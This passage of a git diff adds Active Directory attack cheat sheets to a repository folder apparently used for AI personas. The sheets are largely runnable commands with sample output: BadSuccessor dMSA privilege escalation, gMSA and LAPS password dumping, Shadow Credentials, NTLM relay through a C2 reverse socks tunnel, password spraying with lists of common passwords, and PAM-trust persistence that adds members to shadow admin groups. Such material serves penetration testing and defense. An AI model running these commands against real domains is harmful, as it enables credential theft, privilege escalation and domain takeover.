lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**. + +```ps1 +# Create a machine with default password +# must be run from a domain joined device connected to the domain +djoin /PROVISION /DOMAIN /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc +``` + +* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`. +* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304) + + ```ps1 + python3 rpcchangepwd.py '/COMPUTER>$':''@ -newpass '' + ``` + +:warning: When the machine account name and the password are the same, the machine will also act like a pre-Windows 2000 computer and the authentication will result in `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`. + +```ps1 +$ impacket-addcomputer -dc-ip 10.10.10.10 EXODIA.LOCAL/Administrator:P@ssw0rd -computer-name swkserver -computer-pass swkserver +[*] Successfully added machine account swkserver$ with password swkserver. + +$ nxc smb 10.10.10.10 -u 'swkserver$' -p swkserver +SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-8OJFTLMU1IG) (domain:EXODIA.LOCAL) (signing:True) (SMBv1:False) +SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [-] EXODIA.LOCAL\swkserver$:swkserver STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT +``` + +## Enumerate Pre-Created Computer Account + +Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each + +```ps1 +nxc -u username -p password -M pre2K +``` + +## References + +* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-read-dmsa.md b/personas/_shared/internal-allthethings/active-directory/pwd-read-dmsa.md new file mode 100644 index 0000000..3a747da --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-read-dmsa.md @@ -0,0 +1,111 @@ +# Password - dMSA + +Delegated Managed Service Accounts (dMSAs) + +## BadSuccessor + +**Requirements**: + +* Windows Server 2025 Domain Controller +* Permission on any organizational unit (OU) in the domain + +**Tools**: + +* [akamai/BadSuccessor/Get-BadSuccessorOUPermissions.ps1](https://github.com/akamai/BadSuccessor) +* [LuemmelSec/Pentest-Tools-Collection/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) +* [GhostPack/Rubeus PR #194](https://github.com/GhostPack/Rubeus/pull/194) +* [CravateRouge/bloodyAD Commit #210f735](https://github.com/CravateRouge/bloodyAD/commit/210f735474a403dd64b218b84e98a27e157e7ed3) +* [skelsec/minikerberos/getDmsa.py](https://github.com/skelsec/minikerberos/blob/main/minikerberos/examples/getDmsa.py) +* [logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor) + + ```ps1 + SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA + ``` + +* [Pennyw0rth/NetExec PR #702](https://github.com/Pennyw0rth/NetExec/pull/702/commits/e75512a93cde0c893505fd806e169a2aa7a683db) + + ```ps1 + poetry run netexec ldap 10.10.10.10 -u administrator -p Passw0rd -M badsuccessor + ``` + +![badsuccessor-attack-flow](https://www.akamai.com/site/en/images/blog/2025/badsuccessor-image5.png) + +**Manual Exploitation**: + +* Verify if the DC is a Server 2025 + + ```ps1 + ldapsearch "(&(objectClass=computer)(primaryGroupID=516))" dn,name,operatingsystem + + # BloodHound Query + MATCH (c:Computer) + WHERE c.isdc = true AND c.operatingsystem CONTAINS "2025" + RETURN c.name + ``` + +* Create unfunctional dMSA + + ```ps1 + New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "dontcare.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "attacker-machine$" -path "OU=temp,DC=aka,DC=test" + ``` + +* Edit `msDS-ManagedAccountPrecededByLink` and `msDS-DelegatedMSAState` values + + ```ps1 + # msDS-ManagedAccountPrecededByLink, targeted user or computer + # msDS-DelegatedMSAState=2, completed migration + $dMSA = [ADSI]"LDAP://CN=attacker_dmsa,OU=temp,DC=aka,DC=test" + $dMSA.Put("msDS-DelegatedMSAState", 2) + $dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=aka,DC=test") + $dMSA.SetInfo() + ``` + +* dMSA authentication with Rubeus + + ```ps1 + Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket: + ``` + +## Credential Dumping + +> When you request a TGT for a dMSA, it comes with a new structure called KERB-DMSA-KEY-PACKAGE. This structure includes two fields: current-keys and previous-keys. - Akamai Blog Post + +The previous-keys field contains the RC4-HMAC of the password (NT Hash). + +```ps1 +.\Invoke-BadSuccessorKeysDump.ps1 -OU 'OU=temp,DC=aka,DC=test' +``` + +* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) + + ```ps1 + $domain = Get-ADDomain + $dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)" + $allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, SAMAccountName) + $allDNs | % { + Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecendedByLink" = $_.DN } + $res = Invoke-Rubeus asktgs /targeteduser:mydmsa$ /service:"krbtgt/$(domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi + $rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value + "$($_.sAMAccountName):$rc4" + } + ``` + +* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD) + + ```ps1 + python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' get writable --otype OU + python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' add badSuccessor dmsADM10 + ``` + +* [snovvcrash/dMSASync.py](https://gist.github.com/snovvcrash/a1ae180ab3b49acb43da8fd34e7e93df) + + ```ps1 + getTGT.py 'kerberos+aes://contoso.local\user:AES_KEY@DC_IP' --ccache user.ccache + dMSASync.py 'contoso.local\user:user.ccache@DC01.contoso.local/?dc=DC_IP' 'CN=dmsa,CN=Managed Service Accounts,DC=contoso,DC=local' + ``` + +## References + +* [BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory - Yuval Gordon - May 21, 2025](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory) +* [Operationalizing the BadSuccessor: Abusing dMSA for Domain Privilege Escalation - Arun Nair - May 23, 2025](https://medium.com/seercurity-spotlight/operationalizing-the-badsuccessor-abusing-dmsa-for-domain-privilege-escalation-429cefc36187) +* [Understanding & Mitigating BadSuccessor - Jim Sykora - May 27 2025](https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-read-gmsa.md b/personas/_shared/internal-allthethings/active-directory/pwd-read-gmsa.md new file mode 100644 index 0000000..3b1af13 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-read-gmsa.md @@ -0,0 +1,93 @@ +# Password - GMSA + +## Reading GMSA Password + +> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes. + +### GMSA Attributes in the Active Directory + +* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password. +* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts. +* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA. +* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA. + +### Extract NT hash from the Active Directory + +* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) + + ```ps1 + netexec ldap 10.10.10.10 -u user -p pass --gmsa + + # Use --lsa to get GMSA ID + netexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99 + netexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....' + ``` + +* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD) + + ```ps1 + bloodyAD --host 10.10.10.10 -d crash.lab -u john -p 'Pass123*' get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword + ``` + +* [franc-pentest/ldeep](https://github.com/franc-pentest/ldeep) + + ```ps1 + ldeep ldap -s dc1.domain.local -u 'username' -p 'P@ssw0rd' -d domain.local gmsa + ``` + +* [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) + + ```ps1 + GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT + ``` + +* [micahvandeusen/gMSADumper](https://github.com/micahvandeusen/gMSADumper) + + ```powershell + python3 gMSADumper.py -u User -p Password1 -d domain.local + ``` + +* Active Directory Powershell + + ```ps1 + $gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword' + $blob = $gmsa.'msDS-ManagedPassword' + $mp = ConvertFrom-ADManagedPasswordBlob $blob + $hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword + ``` + +* [kdejoyce/gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module + +## Forging Golden GMSA + +> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it. + +:warning: You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and `ManagedPasswordIntervalInDays`, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future. + +* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA) + + ```ps1 + # Enumerate all gMSAs + GoldenGMSA.exe gmsainfo + # Query for a specific gMSA + GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112 + + # Dump all KDS Root Keys + GoldenGMSA.exe kdsinfo + # Dump a specific KDS Root Key + GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb + + # Compute gMSA password + # --sid : SID of the gMSA (required) + # --kdskey : Base64 encoded KDS Root Key + # --pwdid : Base64 of msds-ManagedPasswordID attribute value + GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain + GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access + GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode + ``` + +## References + +* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/) +* [Hunt for the gMSA secrets - Dr Nestori Syynimaa (@DrAzureAD) - August 29, 2022](https://aadinternals.com/post/gmsa/) +* [Practical guide for Golden SAML - Practical guide step by step to create golden SAML](https://nodauf.dev/p/practical-guide-for-golden-saml/) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-read-laps.md b/personas/_shared/internal-allthethings/active-directory/pwd-read-laps.md new file mode 100644 index 0000000..ffd1a8a --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-read-laps.md @@ -0,0 +1,100 @@ +# Password - LAPS + +## Reading LAPS Password + +> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure. + +### Determine if LAPS is installed + +```ps1 +Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll' +Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll' +Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll' +``` + +### Extract LAPS password + +> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users + +- Windows/Linux: + + ```ps1 + bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime + ``` + +- From Windows: + + - adsisearcher (native binary on Windows 8+) + + ```powershell + ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties} + ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties} + ``` + + - [PowerTools/PowerView](https://github.com/PowerShellEmpire/PowerTools) + + ```powershell + PS > Import-Module .\PowerView.ps1 + PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime + ``` + + - [leoloobeek/LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) + + ```powershell + $ Get-LAPSComputers + ComputerName Password Expiration + ------------ -------- ---------- + example.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18 + + $ Find-LAPSDelegatedGroups + $ Find-AdmPwdExtendedRights + ``` + + - Powershell AdmPwd.PS + + ```powershell + foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}} + ``` + +- From Linux: + + - [p0dalirius/pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords: + + ```bash + # Read the password of all computers + ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1 + # Write a random password to a specific computer + ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1 + ``` + + - [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec): + + ```bash + netexec ldap 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps + ``` + + - [n00py/LAPSDumper](https://github.com/n00py/LAPSDumper) + + ```bash + python laps.py -u 'user' -p 'password' -d 'domain.local' + python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local' + ``` + + - ldapsearch + + ```bash + ldapsearch -x -h  -D "" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd + ``` + +### Grant LAPS Access + +The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password + +```ps1 +Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local" +Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local" +``` + +## References + +- [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-shadow-credentials.md b/personas/_shared/internal-allthethings/active-directory/pwd-shadow-credentials.md new file mode 100644 index 0000000..3b6e938 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-shadow-credentials.md @@ -0,0 +1,118 @@ +# Password - Shadow Credentials + +> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match. + +:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists + +**Requirements**: + +* Domain Controller on (at least) Windows Server 2016 +* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured +* PKINIT Kerberos authentication +* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object + +**Exploitation**: + +* [ly4k/Certipy](https://github.com/ly4k/Certipy) + + ```ps1 + certipy shadow auto -account user -dc-ip 10.10.10.10 -dns-tcp -ns 10.10.10.10 -k -no-pass -target dc.domain.lab + certipy shadow -u 'attacker@domain.local' -p 'Passw0rd!' -dc-ip '10.0.0.100' -account 'victim' add + ``` + +* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD): + + ```ps1 + bloodyAD --host 10.10.10.10 -u username -p 'P@ssw0rd' -d domain.lab add shadowCredentials targetpc$ + bloodyAD --host 10.10.10.10 -u username -p 'P@ssw0rd' -d domain.lab remove shadowCredentials targetpc$ --key + ``` + +* [eladshamir/Whisker](https://github.com/eladshamir/Whisker): + + ```powershell + # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. + Whisker.exe list /target:computername$ + + # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. + Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" + Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1] + + # Removes a key credential from the target object specified by a DeviceID GUID. + Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b + ``` + +* [ShutdownRepo/pyWhisker](https://github.com/ShutdownRepo/pyWhisker): + + ```ps1 + # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. + python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list" + + # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. + pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list" + python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1" + + # Removes a key credential from the target object specified by a DeviceID GUID. + python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e" + ``` + +## Scenario + +### Shadow Credential Relaying + +* Trigger an NTLM authentication from `DC01` (PetitPotam) +* Relay it to `DC02` (ntlmrelayx) +* Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker) +* Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'` + +### Workstation Takeover with RBCD + +**Requirements**: + +* `Print Spooler` service running +* `WebClient service` running + +**Exploitation**: + +* Using your C2, start a reverse socks on port 1080: `socks 1080` +* Enable port forward from port 8081 to 81 on the compromised machine: + + ```ps1 + rportfwd 8081 127.0.0.1 81 + ``` + +* Start the relay: + + ```ps1 + proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81 + ``` + +* Trigger a callback on webdav: + + ```ps1 + proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file + ``` + +* Use [dirkjanm/PKINIT](https://github.com/dirkjanm/PKINITtools) to get a TGT for the machine account: + + ```ps1 + proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx -pfx-pass + ``` + +* Elevate your privileges by creating a service ticket impersonating a local admin: + + ```ps1 + proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v + ``` + +* Use your ticket: + + ```ps1 + export KRB5CCNAME=/path/to/administrator_target.ccache + proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab + ``` + +## References + +* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel - October 21, 2021](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition) +* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials) +* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - June 17, 2021](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-spraying.md b/personas/_shared/internal-allthethings/active-directory/pwd-spraying.md new file mode 100644 index 0000000..816b3ea --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-spraying.md @@ -0,0 +1,93 @@ +# Password - Spraying + +Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. + +> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. + +Most of the time the best passwords to spray are : + +- Passwords: `P@ssw0rd01`, `Password123`, `Password1`, +- Common password: `Welcome1`/`Welcome01`, `Hello123`, `mimikatz` +- $Companyname1:`$Microsoft1` +- SeasonYear: `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!` +- Default AD password with simple mutations such as number-1, special character iteration (`*`,`?`,`!`,`#`) +- Empty Password: NT hash is `31d6cfe0d16ae931b73c59d7e0c089c0` + +:warning: be careful with the account lockout ! + +## Spray a pre-generated passwords list + +- Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) + + ```powershell + nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123 + nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt + + nxc smb targets.txt -u Administrator -p Password123 -d domain.local + nxc ldap targets.txt -u Administrator -p Password123 -d domain.local + nxc rdp targets.txt -u Administrator -p Password123 -d domain.local + nxc winrm targets.txt -u Administrator -p Password123 -d domain.local + nxc mssql targets.txt -u Administrator -p Password123 -d domain.local + nxc wmi targets.txt -u Administrator -p Password123 -d domain.local + + nxc ssh targets.txt -u Administrator -p Password123 + nxc vnc targets.txt -u Administrator -p Password123 + nxc ftp targets.txt -u Administrator -p Password123 + nxc nfs targets.txt -u Administrator -p Password123 + ``` + +- Using [hashcat/maskprocessor](https://github.com/hashcat/maskprocessor) to generate passwords following a specific rule + + ```powershell + nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)` + ``` + +- Using [dafthack/DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) to spray a password against all users of a domain. + + ```powershell + Invoke-DomainPasswordSpray -Password Summer2021! + Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt + ``` + +- Using [shellntel-acct/scripts/SMBAutoBrute](https://github.com/shellntel-acct/scripts/blob/master/Invoke-SMBAutoBrute.ps1). + + ```powershell + Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3 + Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose + ``` + +## BadPwdCount attribute + +> The number of times the user tried to log on to the account using an incorrect password. A value of `0` indicates that the value is unknown. + +```powershell +$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users +LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: +LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: +``` + +## Kerberos pre-auth bruteforcing + +Using [ropnop/kerbrute](https://github.com/ropnop/kerbrute), a tool to perform Kerberos pre-auth bruteforcing. + +> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**. + +- Username bruteforce + + ```powershell + ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt + ``` + +- Password bruteforce + + ```powershell + ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username + ``` + +- Password spray + + ```powershell + ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123 + ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt + ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log + ``` diff --git a/personas/_shared/internal-allthethings/active-directory/trust-pam.md b/personas/_shared/internal-allthethings/active-directory/trust-pam.md new file mode 100644 index 0000000..6ddd412 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/trust-pam.md @@ -0,0 +1,57 @@ +# Trust - Privileged Access Management + +> PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. + +Requirements: + +* Windows Server 2016 or earlier + +If we compromise the bastion we get `Domain Admins` privileges on the other domain + +* Default configuration for PAM Trust + + ```ps1 + # execute on our forest + netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes + netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes + netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes + netdom trust lab.local /domain:bastion.local /Quarantine:No + # execute on our bastion + netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes + ``` + +* Enumerate PAM trusts + + ```ps1 + # Detect if current forest is PAM trust + Import ADModule + Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} + + # Enumerate shadow security principals + Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl + + # Enumerate if current forest is managed by a bastion forest + # Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External + Get-ADTrust -Filter {(ForestTransitive -eq $True)} + ``` + +* Compromise + * Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...) + * Using SID History +* Persistence + * Windows/Linux: + + ```ps1 + bloodyAD --host 10.1.0.4 -u john.doe -p 'Password123!' -d bloody add groupMember 'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local' Administrator + ``` + + * Windows only: + + ```ps1 + # Add a compromised user to the group + Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"} + ``` + +## References + +* [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html) diff --git a/personas/_shared/internal-allthethings/active-directory/trust-relationship.md b/personas/_shared/internal-allthethings/active-directory/trust-relationship.md new file mode 100644 index 0000000..e1ea622 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/trust-relationship.md @@ -0,0 +1,51 @@ +# Trust - Relationship + +- One-way + - Domain B trusts A + - Users in Domain A can access resources in Domain B + - Users in Domain B cannot access resources in Domain A +- Two-way + - Domain A trusts Domain B + - Domain B trusts Domain A + - Authentication requests can be passed between the two domains in both directions + +## Enumerate trusts between domains + +- Native `nltest` + + ```powershell + nltest /trusted_domains + ``` + +- PowerShell `GetAllTrustRelationships` + + ```powershell + ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() + + SourceName TargetName TrustType TrustDirection + ---------- ---------- --------- -------------- + domainA.local domainB.local TreeRoot Bidirectional + ``` + +- netexec module `enum_trusts` + + ```powershell + nxc ldap -u -p -M enum_trusts + ``` + +## Exploit trusts between domains + +:warning: Require a Domain-Admin level access to the current domain. + +| Source | Target | Technique to use | Trust relationship | +|---|---|---|---| +| Root | Child | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way) | +| Child | Child | SID History exploitation (Mimikatz /sids) | Inter Realm Parent-Child (2-way) | +| Child | Root | SID History exploitation (Mimikatz /sids) | Inter Realm Tree-Root (2-way) | +| Forest A | Forest B | PrinterBug + Unconstrained delegation ? | Inter Realm Forest or External (2-way) | + +## References + +- [External Trusts Are Evil - 14 March 2023 - Charlie Clark (@exploitph)](https://exploit.ph/external-trusts-are-evil.html) +- [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0) +- [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/active-directory/trust-sid-hijacking.md b/personas/_shared/internal-allthethings/active-directory/trust-sid-hijacking.md new file mode 100644 index 0000000..3f7f2cd --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/trust-sid-hijacking.md @@ -0,0 +1,31 @@ +# Child Domain to Forest Compromise - SID Hijacking + +Most trees are linked with dual sided trust relationships to allow for sharing of resources. +By default the first domain created if the Forest Root. + 